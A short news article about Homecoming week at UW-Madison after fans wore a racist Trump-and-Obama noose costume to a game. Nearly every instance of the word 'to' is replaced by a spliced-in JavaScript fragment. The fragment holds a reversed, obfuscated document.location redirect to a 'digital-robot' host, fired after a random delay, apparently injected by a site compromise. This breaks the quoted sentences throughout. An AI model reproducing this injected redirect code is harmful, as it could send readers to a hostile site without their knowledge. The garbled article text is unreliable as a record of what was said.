MADISON, Wis. — For many students and alumni, Homecoming week brings a sense of community pride.

But after a recent incident at a football game where two Badger fans dressed in costumes depicting Donald Trump putting President Obama in a noose, for some students that pride has been dampened.

“Everybody on campus right now is a little shaken up and we want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to bring this idea of community, and that we’re here for you, we’re all Badgers tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}together, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to this week,” Homecoming president Rheann Engelke said.

One way the university is doing that is through celebrating the anniversary of a histobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toric campus program which guides campus diversity efforts.

“It’s the 50th anniversary of the 5-year program, which was a very early program for students of color in bringing them tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the university and supporting them through, and that’s a first, so I’m really excited about that,” Sarah Schutt, the vice president of alumni relations and engagement for the Wisconsin Alumni Association, said.

The recent incident shows there’s still work tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be done.

“You have these events that are happening that have kind of dampened the mood, and then on the flip side of that you have people kind of looking forward tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a release from all of that, all the negative stuff that has been going on,” UW student and marching band member Ekenedilichukwu Ikegwuani said.

Chancellor Rebecca Blank released a statement on Monday that the fans involved in the incident of bias have had their season tickets revoked.
